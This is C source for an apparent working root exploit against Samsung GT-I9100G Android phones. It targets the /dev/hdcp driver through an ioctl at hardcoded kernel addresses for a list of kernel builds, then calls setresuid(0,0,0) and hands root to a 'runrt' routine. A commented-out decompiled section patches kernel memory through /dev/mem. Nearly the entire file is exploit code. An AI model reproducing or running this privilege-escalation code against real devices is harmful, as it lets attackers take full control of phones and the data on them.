#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);
#define SYS_NMLN 65

struct utsname {
    char  sysname   [SYS_NMLN]; //linux
    char  nodename  [SYS_NMLN]; //locolhost
    char  release   [SYS_NMLN];  //3.4.4xxx
    char  version   [SYS_NMLN];  //#1 #SMPxxx
    char  machine   [SYS_NMLN];   //armv7
    char  domainname[SYS_NMLN];   //localdomain
};
typedef struct _phone_info{

	char band[16];
	char model[32];
	char buildno[64];
	char version[64];
	unsigned int e;
	unsigned int f;
}phone_info_t, *phone_info_ptr;

phone_info_t g_supported_phones[] =  {
	{"Samsung", "GT-I9100G", "2.6.35.7", "#2 SMP PREEMPT Tue Sep 20 21:41:29 KST 2011", 0xc0469e0c, 0x44}, \
	{"Samsung", "GT-I9100G", "3.0.31-973591", "#2 SMP PREEMPT Wed May 22 23:02:43 KST 2013", 0xc034cae4, 0x44}, \
	{"samsung", "GT-I9100G", "3.0.31-973591", "#2 SMP PREEMPT Thu Jun 27 19:12:54 KST 2013", 0xc034dae4, 0x4c}, \
	{"samsung", "GT-I9100G", "3.0.31-973591", "#2 SMP PREEMPT Fri Jun 28 09:59:17 KST 2013", 0xc034dae4, 0x4c}, \
	{"samsung", "GT-I9100G", "3.0.31-973591", "#2 SMP PREEMPT Thu Jun 27 19:06:31 KST 2013", 0xc034dae4, 0x4c}, \
	{"samsung", "GT-I9100G", "3.0.31-891965", "#2 SMP PREEMPT Fri Jan 25 19:58:12 KST 2013", 0xc0345a28, 0x4c}, \
	{"samsung", "GT-I9100G", "2.6.35.7", "#2 SMP PREEMPT Wed Oct 19 21:37:23 KST 2011", 0xc0469e0c, 0x44}, \
	{"samsung", "GT-I9100G", "2.6.35.7", "#2 SMP PREEMPT Wed Feb 29 18:13:09 KST 2012", 0xc0468f00, 0x44}, \
	{"samsung", "GT-I9100G", "2.6.35.7", "#2 SMP PREEMPT Tue Mar 20 11:19:45 KST 2012", 0xc0468f00, 0x44}, \
	{"samsung", "GT-I9100G", "2.6.35.7", "#2 SMP PREEMPT Mon May 14 17:16:12 KST 2012", 0xc0468f00, 0x44}, \
};

volatile phone_info_t *g_this_phone = NULL;

int g_supported_phones_count = sizeof(g_supported_phones) / sizeof(g_supported_phones[0]);

/*
signed int sub_8D90()
{
  FILE  *v0; // r6@1
  short int v1; // r3@2
  signed int v2; // r4@9
  signed int result; // r0@12
  int v4; // [sp+18h] [bp-C38h]@3
  int v5; // [sp+1Ch] [bp-C34h]@7
  int v6; // [sp+20h] [bp-C30h]@3
  char v7[1024]; // [sp+24h] [bp-C2Ch]@3
  char v8[1024]; // [sp+424h] [bp-82Ch]@3
  char v9[1024]; // [sp+824h] [bp-42Ch]@3
  int v10; // [sp+C24h] [bp-2Ch]@1

  v0 = fopen("/proc/iomem", "r");
  if ( v0 )
  {
    while ( 1 )
    {
      v1 = *((short int *)v0 + 6);
      if ( v1 & 0x20 )
        break;
      fgets(v9, 1024, v0);
      if ( sscanf(v9, "%08x-%08x : %s %s ", &v6, &v4, v8, v7) == 4
        && !strcmp(v8, "System")
        && !strcmp(v7, "RAM") )
      {
        while ( 1 )
        {
          fgets(v9, 1024, v0);
          if ( v9 != 32 )
            break;
          if ( sscanf(v9, "  %08x-%08x : %s %s", &v5, &v4, v8, v7) == 4 && !strcmp(v8, "Kernel") )
          {
            v2 = v6;
            fclose(v0);
            goto LABEL_12;
          }
        }
      }
    }
    fclose(v0);
  }
  v2 = -1;
LABEL_12:
  result = v2;
  return result;
}

void restore_e3500000(int a1, int a2)
{
  int v2; // r4@1
  int v3; // r5@1
  unsigned int v4; // r5@2
  int v5; // r4@2
  signed int v6; // r0@3
  void *v7; // r0@3
  int fd;
  int stat_loc;

  sync();

  v2 = a1;
  v3 = a2;

  	  	  int a = fork();
		   if (!a)
		   {
			   fd = open("/dev/mem", O_RDWR|O_SYNC);

			   printf(" return fd %d\n", fd);

			   if ( v2 != 2 || ( v5 = open("/dev/mem", 4098), v5 == -1) ) {
			 	  printf(" return v5 %d\n", v5);
			 	  printf("open:%s \n",strerror(v5));
			 	 // return;
			   }
			   printf(" return v5 %d\n", v5);

			   char *argv[]={"ls","-la",NULL};
			   execv("dev", argv);

			   printf("pid : %d\n ", getuid());
		   }

    wait(&stat_loc);

  return;
  v6 = sub_8D90();
  printf("%d\n", v6);
  return;
  v7 = mmap(0, 0x2000000u, 3, 1, v5, v6);
  if ( v7 != (void *)-1 )
  {
    *(int *)((char *)v7 + (v3 & 0xFFFFFFF)) = 0xE3500000;
    munmap(v7, 0x2000000u);
  }
  close(v5);
}
*/
int hdcp_poc_main() {

	struct utsname sysinfo;
    char tmp[32];
    int i, fd, n;
    int len_model, len_release, len_version;

	sysconf(_SC_COLL_WEIGHTS_MAX);

	if(uname(&sysinfo)) {
	        return 1;
	}

	// search for the matching phone
	__system_property_get("ro.product.model", tmp);
	len_model = strlen(tmp);

	//printf("[+] sys device:%d -> %s : %s : %s\n",  g_supported_phones_count,  sysinfo.version, sysinfo.release, tmp);

	len_release = strlen(sysinfo.release);
	len_version = strlen(sysinfo.version);
	g_this_phone = NULL;
	for(i = 0; i<g_supported_phones_count; i++) {
		 phone_info_t *curr_phone = &g_supported_phones[i];

		if(0 == strncmp(tmp, curr_phone->model, len_model)
		&& 0 == strncmp(sysinfo.release, curr_phone->buildno, len_release)
		&& 0 == strncmp(sysinfo.version, curr_phone->version, len_version)) {

			 //printf("[+] Get device: %s %s %s %s\n", curr_phone->band, curr_phone->model, curr_phone->buildno, curr_phone->version);
			g_this_phone = curr_phone;
			break;
		} else {
			//printf("[+] skip device: %s=[%s]  %s=[%s]  %s=[%s] \n", tmp, curr_phone->band,  sysinfo.release, curr_phone->buildno, sysinfo.version, curr_phone->version);
		}
	}
	 //printf("go shell\n");

	if (NULL == g_this_phone)
		return  1;

	fd = open("/dev/hdcp", 0);
	if(-1 != fd) {
		int dwAddr = g_this_phone->e + g_this_phone->f;
		if ( !ioctl(fd, 0xC0046803,  dwAddr) )
		{
			close(fd);
			sleep(1u);

            if ( !setresuid(0, 0, 0) ) {
            	printf("not restore memory\n");
            	//system("sh");
            	//printf("sub_8D90 Ret %d\n", nRet );

            	//restore_e3500000(2, dwAddr);
            }
            else
            	printf("setresuid fail\n");

		}else{
			 printf("ioctl fail\n");
		}

	 }else{
		 printf("/dev/hdcp open fail\n");
	 }

	return 0;
}


void do_root(int argc, const char **argv)
{
	printf("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
		int uid = 0, ret = 0, wait_time = 60, pid = 0;

		check_parent_pid();
		if(argc < 4) return 1;

		hdcp_poc_main();
		ret = (getuid() == 0);

		if(ret) {
			printf("Go ROOT!");
			do_root(argc, argv);
		}
		return ret? 0:1;

}
